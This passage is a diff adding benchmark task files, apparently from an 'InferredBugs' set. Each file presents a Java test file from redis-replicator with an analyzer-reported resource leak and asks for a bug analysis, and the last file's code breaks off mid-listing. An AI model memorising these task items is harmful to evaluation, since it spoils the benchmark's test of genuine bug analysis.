+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5486/instruction.md b/inferredbugs-5486/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4e3bd84ac69238be6e64672b3a181d50cc904c05
--- /dev/null
+++ b/inferredbugs-5486/instruction.md
@@ -0,0 +1,301 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** redis-replicator
+**Bug ID:** 27
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.moilioncircle.redis.replicator;
+
+import com.moilioncircle.redis.replicator.rdb.RdbListener;
+import com.moilioncircle.redis.replicator.rdb.datatype.KeyStringValueString;
+import com.moilioncircle.redis.replicator.rdb.datatype.KeyValuePair;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicLong;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Created by leon on 11/21/16.
+ */
+public class RedisRdbReplicatorTest {
+    @Test
+    public void testChecksumV7() throws IOException, InterruptedException {
+        Replicator redisReplicator = new RedisReplicator(
+                RedisSocketReplicatorTest.class.getClassLoader().getResourceAsStream("dumpV7.rdb"),
+                Configuration.defaultSetting());
+        final AtomicInteger acc = new AtomicInteger(0);
+        final AtomicLong atomicChecksum = new AtomicLong(0);
+        redisReplicator.addRdbListener(new RdbListener.Adaptor() {
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                super.postFullSync(replicator, checksum);
+                atomicChecksum.compareAndSet(0, checksum);
+            }
+        });
+        redisReplicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testChecksumV7");
+                assertEquals(19, acc.get());
+                assertEquals(6576517133597126869L, atomicChecksum.get());
+            }
+        });
+        redisReplicator.open();
+    }
+
+    @Test
+    public void testChecksumV6() throws IOException, InterruptedException {
+        Replicator redisReplicator = new RedisReplicator(
+                RedisSocketReplicatorTest.class.getClassLoader().getResourceAsStream("dumpV6.rdb"),
+                Configuration.defaultSetting());
+        final AtomicInteger acc = new AtomicInteger(0);
+        final AtomicLong atomicChecksum = new AtomicLong(0);
+        redisReplicator.addRdbListener(new RdbListener.Adaptor() {
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                super.postFullSync(replicator, checksum);
+                atomicChecksum.compareAndSet(0, checksum);
+            }
+        });
+        redisReplicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testChecksumV6");
+                assertEquals(132, acc.get());
+                assertEquals(-3409494954737929802L, atomicChecksum.get());
+            }
+        });
+        redisReplicator.open();
+
+    }
+
+    @Test
+    public void testCloseListener1() throws IOException, InterruptedException {
+        final AtomicInteger acc = new AtomicInteger(0);
+        Replicator replicator = new RedisReplicator(
+                RedisSocketReplicatorTest.class.getClassLoader().getResourceAsStream("dumpV6.rdb"),
+                Configuration.defaultSetting());
+        replicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testCloseListener1");
+                acc.incrementAndGet();
+                assertEquals(1, acc.get());
+            }
+        });
+        replicator.open();
+    }
+
+    @Test
+    public void testFileV7() throws IOException, InterruptedException {
+        Replicator redisReplicator = new RedisReplicator(
+                RedisSocketReplicatorTest.class.getClassLoader().getResourceAsStream("dumpV7.rdb"),
+                Configuration.defaultSetting());
+        final AtomicInteger acc = new AtomicInteger(0);
+        redisReplicator.addRdbListener(new RdbListener.Adaptor() {
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+                if (kv.getKey().equals("abcd")) {
+                    KeyStringValueString ksvs = (KeyStringValueString) kv;
+                    assertEquals("abcd", ksvs.getValue());
+                }
+                if (kv.getKey().equals("foo")) {
+                    KeyStringValueString ksvs = (KeyStringValueString) kv;
+                    assertEquals("bar", ksvs.getValue());
+                }
+                if (kv.getKey().equals("aaa")) {
+                    KeyStringValueString ksvs = (KeyStringValueString) kv;
+                    assertEquals("bbb", ksvs.getValue());
+                }
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                super.postFullSync(replicator, checksum);
+                assertEquals(19, acc.get());
+            }
+        });
+        redisReplicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testFileV7");
+                assertEquals(19, acc.get());
+            }
+        });
+        redisReplicator.open();
+
+    }
+
+    @Test
+    public void testFilter() throws IOException, InterruptedException {
+        Replicator redisReplicator = new RedisReplicator(
+                RedisSocketReplicatorTest.class.getClassLoader().getResourceAsStream("dumpV7.rdb"),
+                Configuration.defaultSetting());
+        final AtomicInteger acc = new AtomicInteger(0);
+        redisReplicator.addRdbListener(new RdbListener.Adaptor() {
+            @Override
+            public void preFullSync(Replicator replicator) {
+                super.preFullSync(replicator);
+                assertEquals(0, acc.get());
+            }
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                if (kv.getValueRdbType() == 0) {
+                    acc.incrementAndGet();
+                }
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                super.postFullSync(replicator, checksum);
+            }
+        });
+        redisReplicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testFilter");
+                assertEquals(13, acc.get());
+            }
+        });
+        redisReplicator.open();
+    }
+
+    @Test
+    public void testFileV6() throws IOException, InterruptedException {
+        Replicator redisReplicator = new RedisReplicator(
+                RedisSocketReplicatorTest.class.getClassLoader().getResourceAsStream("dumpV6.rdb"),
+                Configuration.defaultSetting());
+        final AtomicInteger acc = new AtomicInteger(0);
+        redisReplicator.addRdbListener(new RdbListener.Adaptor() {
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                super.postFullSync(replicator, checksum);
+            }
+        });
+        redisReplicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testFileV6");
+                assertEquals(132, acc.get());
+            }
+        });
+        redisReplicator.open();
+    }
+
+    @Test
+    public void testFileV8() throws IOException, InterruptedException {
+        Replicator redisReplicator = new RedisReplicator(
+                RedisSocketReplicatorTest.class.getClassLoader().getResourceAsStream("dumpV8.rdb"),
+                Configuration.defaultSetting());
+        final AtomicInteger acc = new AtomicInteger(0);
+        redisReplicator.addRdbListener(new RdbListener.Adaptor() {
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                super.postFullSync(replicator, checksum);
+            }
+        });
+        redisReplicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testFileV8");
+                assertEquals(92499, acc.get());
+            }
+        });
+        redisReplicator.open();
+    }
+
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.moilioncircle.redis.replicator.RedisReplicator` acquired by call to `RedisReplicator(...)` at line 141 is not released after line 169.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RedisRdbReplicatorTest.testFilter()
+
+### Procedure Id:
+com.moilioncircle.redis.replicator.RedisRdbReplicatorTest.testFilter():void.7bbe022c3610805834903a66cf837500
+
+### File:
+src/test/java/com/moilioncircle/redis/replicator/RedisRdbReplicatorTest.java
+
+### Key:
+RedisRdbReplicatorTest.java|testFilter|RESOURCE_LEAK
+
+### Node Key:
+b0ed25eec6c25e7c4348974d51cf6b89
+
+### Hash:
+65acef9e40a16be0a000fd829a15957c
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5488/instruction.md b/inferredbugs-5488/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2a4aa5658360966ca92a4dee5424694ef3e10e1a
--- /dev/null
+++ b/inferredbugs-5488/instruction.md
@@ -0,0 +1,470 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** redis-replicator
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.moilioncircle.redis.replicator;
+
+import com.moilioncircle.redis.replicator.rdb.RdbFilter;
+import com.moilioncircle.redis.replicator.rdb.RdbListener;
+import com.moilioncircle.redis.replicator.rdb.datatype.KeyValuePair;
+import junit.framework.TestCase;
+import org.junit.Assert;
+import org.junit.Test;
+import redis.clients.jedis.Jedis;
+
+import javax.net.ssl.*;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.security.InvalidAlgorithmParameterException;
+import java.security.KeyStore;
+import java.security.SecureRandom;
+import java.security.cert.X509Certificate;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/**
+ * Created by leon on 11/28/16.
+ */
+public class RedisSocketReplicatorSSLTest extends TestCase {
+
+    private static void setJvmTrustStore(String trustStoreFilePath, String trustStoreType) {
+        Assert.assertTrue(String.format("Could not find trust store at '%s'.", trustStoreFilePath),
+                new File(trustStoreFilePath).exists());
+        System.setProperty("javax.net.ssl.trustStore", trustStoreFilePath);
+        System.setProperty("javax.net.ssl.trustStoreType", trustStoreType);
+    }
+
+    @Test
+    public void testSsl() throws IOException {
+        setJvmTrustStore("src/test/resources/keystore/truststore.jceks", "jceks");
+        Replicator replicator = new RedisReplicator("127.0.0.1", 56379, Configuration.defaultSetting().setSsl(true));
+        final AtomicInteger acc = new AtomicInteger(0);
+        Jedis jedis = null;
+        try {
+            jedis = new Jedis("127.0.0.1", 6379);
+            jedis.set("ssl", "true");
+        } finally {
+            jedis.close();
+        }
+        replicator.addRdbFilter(new RdbFilter() {
+            @Override
+            public boolean accept(KeyValuePair<?> kv) {
+                return kv.getKey().equals("ssl");
+            }
+        });
+        replicator.addRdbListener(new RdbListener() {
+            @Override
+            public void preFullSync(Replicator replicator) {
+            }
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                Jedis jedis = null;
+                try {
+                    jedis = new Jedis("127.0.0.1", 6379);
+                    jedis.del("ssl");
+                } finally {
+                    jedis.close();
+                }
+                try {
+                    replicator.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        });
+        replicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testSsl");
+                assertEquals(1, acc.get());
+            }
+        });
+        replicator.open();
+    }
+
+    @Test
+    public void testSsl1() throws IOException {
+        setJvmTrustStore("src/test/resources/keystore/truststore.jceks", "jceks");
+        Replicator replicator = new RedisReplicator("localhost", 56379,
+                Configuration.defaultSetting().setSsl(true)
+                        .setReadTimeout(0)
+                        .setSslSocketFactory((SSLSocketFactory) SSLSocketFactory.getDefault())
+                        .setHostnameVerifier(new BasicHostnameVerifier())
+                        .setSslParameters(new SSLParameters()));
+        final AtomicInteger acc = new AtomicInteger(0);
+        Jedis jedis = null;
+        try {
+            jedis = new Jedis("127.0.0.1", 6379);
+            jedis.set("ssl1", "true");
+        } finally {
+            jedis.close();
+        }
+        replicator.addRdbFilter(new RdbFilter() {
+            @Override
+            public boolean accept(KeyValuePair<?> kv) {
+                return kv.getKey().equals("ssl1");
+            }
+        });
+        replicator.addRdbListener(new RdbListener() {
+            @Override
+            public void preFullSync(Replicator replicator) {
+            }
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                Jedis jedis = null;
+                try {
+                    jedis = new Jedis("127.0.0.1", 6379);
+                    jedis.del("ssl1");
+                } finally {
+                    jedis.close();
+                }
+                try {
+                    replicator.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        });
+        replicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testSsl1");
+                assertEquals(1, acc.get());
+            }
+        });
+        replicator.open();
+    }
+
+    @Test
+    public void testSsl2() throws Exception {
+        setJvmTrustStore("src/test/resources/keystore/truststore.jceks", "jceks");
+        Replicator replicator = new RedisReplicator("localhost", 56379,
+                Configuration.defaultSetting().setSsl(true)
+                        .setHostnameVerifier(new BasicHostnameVerifier())
+                        .setSslParameters(new SSLParameters())
+                        .setSslSocketFactory(createTrustStoreSslSocketFactory()));
+        final AtomicInteger acc = new AtomicInteger(0);
+        Jedis jedis = null;
+        try {
+            jedis = new Jedis("127.0.0.1", 6379);
+            jedis.set("ssl2", "true");
+        } finally {
+            jedis.close();
+        }
+        replicator.addRdbFilter(new RdbFilter() {
+            @Override
+            public boolean accept(KeyValuePair<?> kv) {
+                return kv.getKey().equals("ssl2");
+            }
+        });
+        replicator.addRdbListener(new RdbListener() {
+            @Override
+            public void preFullSync(Replicator replicator) {
+            }
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                Jedis jedis = null;
+                try {
+                    jedis = new Jedis("127.0.0.1", 6379);
+                    jedis.del("ssl2");
+                } finally {
+                    jedis.close();
+                }
+                try {
+                    replicator.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        });
+        replicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testSsl2");
+                assertEquals(1, acc.get());
+            }
+        });
+        replicator.open();
+    }
+
+    @Test
+    public void testSsl3() throws Exception {
+        setJvmTrustStore("src/test/resources/keystore/truststore.jceks", "jceks");
+        Replicator replicator = new RedisReplicator("localhost", 56379,
+                Configuration.defaultSetting().setSsl(true)
+                        .setHostnameVerifier(new BasicHostnameVerifier())
+                        .setSslParameters(new SSLParameters())
+                        .setSslSocketFactory(createTrustNoOneSslSocketFactory()));
+        final AtomicInteger acc = new AtomicInteger(0);
+        Jedis jedis = null;
+        try {
+            jedis = new Jedis("127.0.0.1", 6379);
+            jedis.set("ssl3", "true");
+        } finally {
+            jedis.close();
+        }
+        replicator.addRdbFilter(new RdbFilter() {
+            @Override
+            public boolean accept(KeyValuePair<?> kv) {
+                return kv.getKey().equals("ssl3");
+            }
+        });
+        replicator.addRdbListener(new RdbListener() {
+            @Override
+            public void preFullSync(Replicator replicator) {
+
+            }
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                Jedis jedis = null;
+                try {
+                    jedis = new Jedis("127.0.0.1", 6379);
+                    jedis.del("ssl3");
+                } finally {
+                    jedis.close();
+                }
+                try {
+                    replicator.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        });
+        replicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testSsl3");
+                assertEquals(1, acc.get());
+            }
+        });
+        try {
+            replicator.open();
+            fail();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    @Test
+    public void testSsl4() throws Exception {
+        setJvmTrustStore("src/test/resources/keystore/truststore.jceks", "jceks");
+        Replicator replicator = new RedisReplicator("127.0.0.1", 56379,
+                Configuration.defaultSetting().setSsl(true)
+                        .setHostnameVerifier(new BasicHostnameVerifier())
+                        .setSslParameters(new SSLParameters())
+                        .setSslSocketFactory(createTrustStoreSslSocketFactory()));
+        final AtomicInteger acc = new AtomicInteger(0);
+        Jedis jedis = null;
+        try {
+            jedis = new Jedis("127.0.0.1", 6379);
+            jedis.set("ssl4", "true");
+        } finally {
+            jedis.close();
+        }
+        replicator.addRdbFilter(new RdbFilter() {
+            @Override
+            public boolean accept(KeyValuePair<?> kv) {
+                return kv.getKey().equals("ssl4");
+            }
+        });
+        replicator.addRdbListener(new RdbListener() {
+            @Override
+            public void preFullSync(Replicator replicator) {
+            }
+
+            @Override
+            public void handle(Replicator replicator, KeyValuePair<?> kv) {
+                acc.incrementAndGet();
+            }
+
+            @Override
+            public void postFullSync(Replicator replicator, long checksum) {
+                Jedis jedis = null;
+                try {
+                    jedis = new Jedis("127.0.0.1", 6379);
+                    jedis.del("ssl4");
+                } finally {
+                    jedis.close();
+                }
+                try {
+                    replicator.close();
+                } catch (IOException e) {
+                    e.printStackTrace();
+                }
+            }
+        });
+        replicator.addCloseListener(new CloseListener() {
+            @Override
+            public void handle(Replicator replicator) {
+                System.out.println("close testSsl4");
+                assertEquals(0, acc.get());
+            }
+        });
+        replicator.open();
+    }
+
+    private static SSLSocketFactory createTrustStoreSslSocketFactory() throws Exception {
+
+        KeyStore trustStore = KeyStore.getInstance("jceks");
+        InputStream inputStream = null;
+        try {
+            inputStream = new FileInputStream("src/test/resources/keystore/truststore.jceks");
+            trustStore.load(inputStream, null);
+        } finally {
+            inputStream.close();
+        }
+
+        TrustManagerFactory trustManagerFactory = TrustManagerFactory.getInstance("PKIX");
+        trustManagerFactory.init(trustStore);
+        TrustManager[] trustManagers = trustManagerFactory.getTrustManagers();
+
+        SSLContext sslContext = SSLContext.getInstance("TLS");
+        sslContext.init(null, trustManagers, new SecureRandom());
+        return sslContext.getSocketFactory();
+    }
+
+    private static SSLSocketFactory createTrustNoOneSslSocketFactory() throws Exception {
+        TrustManager[] unTrustManagers = new TrustManager[]{
+                new X509TrustManager() {
+                    public X509Certificate[] getAcceptedIssuers() {
+                        return new X509Certificate[0];
+                    }
+
+                    public void checkClientTrusted(X509Certificate[] chain, String authType) {
+                        throw new RuntimeException(new InvalidAlgorithmParameterException());
+                    }
+
+                    public void checkServerTrusted(X509Certificate[] chain, String authType) {
+                        throw new RuntimeException(new InvalidAlgorithmParameterException());
+                    }
+                }
+        };
+        SSLContext sslContext = SSLContext.getInstance("TLS");
+        sslContext.init(null, unTrustManagers, new SecureRandom());
+        return sslContext.getSocketFactory();
+    }
+
+    private static class BasicHostnameVerifier implements HostnameVerifier {
+
+        private static final String COMMON_NAME_RDN_PREFIX = "CN=";
+
+        @Override
+        public boolean verify(String hostname, SSLSession session) {
+            X509Certificate peerCertificate;
+            try {
+                peerCertificate = (X509Certificate) session.getPeerCertificates()[0];
+            } catch (SSLPeerUnverifiedException e) {
+                throw new IllegalStateException("The session does not contain a peer X.509 certificate.");
+            }
+            String peerCertificateCN = getCommonName(peerCertificate);
+            return hostname.equals(peerCertificateCN);
+        }
+
+        private String getCommonName(X509Certificate peerCertificate) {
+            String subjectDN = peerCertificate.getSubjectDN().getName();
+            String[] dnComponents = subjectDN.split(",");
+            for (String dnComponent : dnComponents) {
+                if (dnComponent.startsWith(COMMON_NAME_RDN_PREFIX)) {
+                    return dnComponent.substring(COMMON_NAME_RDN_PREFIX.length());
+                }
+            }
+            throw new IllegalArgumentException("The certificate has no common name.");
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.moilioncircle.redis.replicator.EventHandlerWorker` acquired by call to `RedisReplicator(...)` at line 96 is not released after line 144.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RedisSocketReplicatorSSLTest.testSsl1()
+
+### Procedure Id:
+com.moilioncircle.redis.replicator.RedisSocketReplicatorSSLTest.testSsl1():void.fe0c60dacc15cf0fc09298e63e10740b
+
+### File:
+src/test/java/com/moilioncircle/redis/replicator/RedisSocketReplicatorSSLTest.java
+
+### Key:
+RedisSocketReplicatorSSLTest.java|testSsl1|RESOURCE_LEAK
+
+### Node Key:
+f65387f92aac9b561150293d56227830
+
+### Hash:
+397f0c3c6031bd8f826df23f654954b2
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5508/instruction.md b/inferredbugs-5508/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f419dcb637398c8250806a347820ebbe4dd57258
--- /dev/null
+++ b/inferredbugs-5508/instruction.md
@@ -0,0 +1,253 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** redis-replicator
+**Bug ID:** 30
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2016 leon chen
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.moilioncircle.redis.replicator.rdb;
+
+import com.moilioncircle.redis.replicator.Configuration;
+import com.moilioncircle.redis.replicator.RedisReplicator;
+import com.moilioncircle.redis.replicator.Replicator;
+import com.moilioncircle.redis.replicator.rdb.datatype.KeyValuePair;
+import com.moilioncircle.redis.replicator.rdb.datatype.ZSetEntry;
+import junit.framework.TestCase;
+import org.junit.Test;
+
+import java.util.*;
+import java.util.concurrent.ConcurrentHashMap;
+
+import static junit.framework.TestCase.assertEquals;
+
+public class RdbParserTest {
+
+    @Test
+    public void testParse() throws Exception {
+        ConcurrentHashMap<String, KeyValuePair> map = new ConcurrentHashMap<>();
+        String[] resources = new String[]{"dictionary.rdb",
+                "easily_compressible_string_key.rdb", "empty_database.rdb",
+                "hash_as_ziplist.rdb", "integer_keys.rdb", "intset_16.rdb",
+                "intset_32.rdb", "intset_64.rdb", "keys_with_expiry.rdb",
+                "linkedlist.rdb", "multiple_databases.rdb",
+                "parser_filters.rdb", "rdb_version_5_with_checksum.rdb", "regular_set.rdb",
+                "regular_sorted_set.rdb", "sorted_set_as_ziplist.rdb", "uncompressible_string_keys.rdb",
+                "ziplist_that_compresses_easily.rdb", "ziplist_that_doesnt_compress.rdb",
+                "ziplist_with_integers.rdb", "zipmap_that_compresses_easily.rdb",
+                "zipmap_that_doesnt_compress.rdb", "zipmap_with_big_values.rdb"};
+        for (String resource : resources) {
+            template(resource, map);
+        }
+        //Thread.sleep(5000);
+
+        assertEquals("zero", map.get("key_in_zeroth_database").getValue());
+        assertEquals("second", map.get("key_in_second_database").getValue());
+
+        assertEquals("Positive 8 bit integer", map.get("125").getValue());
+        assertEquals("Positive 16 bit integer", map.get("43947").getValue());
+        assertEquals("Positive 32 bit integer", map.get("183358245").getValue());
+
+        assertEquals("Negative 8 bit integer", map.get("-123").getValue());
+        assertEquals("Negative 16 bit integer", map.get("-29477").getValue());
+        assertEquals("Negative 32 bit integer", map.get("-183358245").getValue());
+
+        assertEquals("Key that redis should compress easily", map.get("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa").getValue());
+
+        assertEquals("2", ((HashMap<String, String>) map.get("zimap_doesnt_compress").getValue()).get("MKD1G6"));
+        assertEquals("F7TI", ((HashMap<String, String>) map.get("zimap_doesnt_compress").getValue()).get("YNNXK"));
+
+        assertEquals(253, ((HashMap<String, String>) map.get("zipmap_with_big_values").getValue()).get("253bytes").length());
+        assertEquals(254, ((HashMap<String, String>) map.get("zipmap_with_big_values").getValue()).get("254bytes").length());
+        assertEquals(255, ((HashMap<String, String>) map.get("zipmap_with_big_values").getValue()).get("255bytes").length());
+        assertEquals(300, ((HashMap<String, String>) map.get("zipmap_with_big_values").getValue()).get("300bytes").length());
+        assertEquals(20000, ((HashMap<String, String>) map.get("zipmap_with_big_values").getValue()).get("20kbytes").length());
+
+        assertEquals("aa", ((HashMap<String, String>) map.get("zipmap_compresses_easily").getValue()).get("a"));
+        assertEquals("aaaa", ((HashMap<String, String>) map.get("zipmap_compresses_easily").getValue()).get("aa"));
+        assertEquals("aaaaaaaaaaaaaa", ((HashMap<String, String>) map.get("zipmap_compresses_easily").getValue()).get("aaaaa"));
+
+        assertEquals("T63SOS8DQJF0Q0VJEZ0D1IQFCYTIPSBOUIAI9SB0OV57MQR1FI", ((HashMap<String, String>) map.get("force_dictionary").getValue()).get("ZMU5WEJDG7KU89AOG5LJT6K7HMNB3DEI43M6EYTJ83VRJ6XNXQ"));
+        assertEquals("6VULTCV52FXJ8MGVSFTZVAGK2JXZMGQ5F8OVJI0X6GEDDR27RZ", ((HashMap<String, String>) map.get("force_dictionary").getValue()).get("UHS5ESW4HLK8XOGTM39IK1SJEUGVV9WOPK6JYA5QBZSJU84491"));
+
+        List<String> list = (ArrayList) map.get("ziplist_compresses_easily").getValue();
+        assertEquals("aaaaaa", list.get(0));
+        assertEquals("aaaaaaaaaaaa", list.get(1));
+        assertEquals("aaaaaaaaaaaaaaaaaa", list.get(2));
+        assertEquals("aaaaaaaaaaaaaaaaaaaaaaaa", list.get(3));
+        assertEquals("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", list.get(4));
+        assertEquals("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", list.get(5));
+
+        list = (ArrayList) map.get("ziplist_doesnt_compress").getValue();
+        assertEquals("aj2410", list.get(0));
+        assertEquals("cc953a17a8e096e76a44169ad3f9ac87c5f8248a403274416179aa9fbd852344", list.get(1));
+
+        String[] numbers = new String[]{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "-2", "25", "-61", "63", "16380", "-16000", "65535", "-65523", "4194304", "9223372036854775807"};
+        List numlist = Arrays.asList(numbers);
+
+        list = (ArrayList) map.get("ziplist_with_integers").getValue();
+        for (String str : list) {
+            assertEquals(true, numlist.contains(str));
+        }
+
+        list = (ArrayList) map.get("force_linkedlist").getValue();
+        assertEquals(1000, list.size());
+        assertEquals("41PJSO2KRV6SK1WJ6936L06YQDPV68R5J2TAZO3YAR5IL5GUI8", list.get(0));
+        assertEquals("E41JRQX2DB4P1AQZI86BAT7NHPBHPRIIHQKA4UXG94ELZZ7P3Y", list.get(1));
+
+        numlist = Arrays.asList("32766", "32765", "32764");
+        list = new ArrayList(((Set<String>) map.get("intset_16").getValue()));
+        for (String str : list) {
+            assertEquals(true, numlist.contains(str));
+        }
+
+        numlist = Arrays.asList("2147418110", "2147418109", "2147418108");
+        list = new ArrayList(((Set<String>) map.get("intset_32").getValue()));
+        for (String str : list) {
+            assertEquals(true, numlist.contains(str));
+        }
+
+        numlist = Arrays.asList("9223090557583032318", "9223090557583032317", "9223090557583032316");
+        list = new ArrayList(((Set<String>) map.get("intset_64").getValue()));
+        for (String str : list) {
+            assertEquals(true, numlist.contains(str));
+        }
+
+        numlist = Arrays.asList("alpha", "beta", "gamma", "delta", "phi", "kappa");
+        list = new ArrayList(((Set<String>) map.get("regular_set").getValue()));
+        for (String str : list) {
+            assertEquals(true, numlist.contains(str));
+        }
+
+        List<ZSetEntry> zset = new ArrayList(((Set<ZSetEntry>) map.get("sorted_set_as_ziplist").getValue()));
+
+        for (ZSetEntry entry : zset) {
+            if (entry.getElement().equals("8b6ba6718a786daefa69438148361901")) {
+                assertEquals(1d, entry.getScore());
+            }
+            if (entry.getElement().equals("cb7a24bb7528f934b841b34c3a73e0c7")) {
+                assertEquals(2.37d, entry.getScore());
+            }
+            if (entry.getElement().equals("523af537946b79c4f8369ed39ba78605")) {
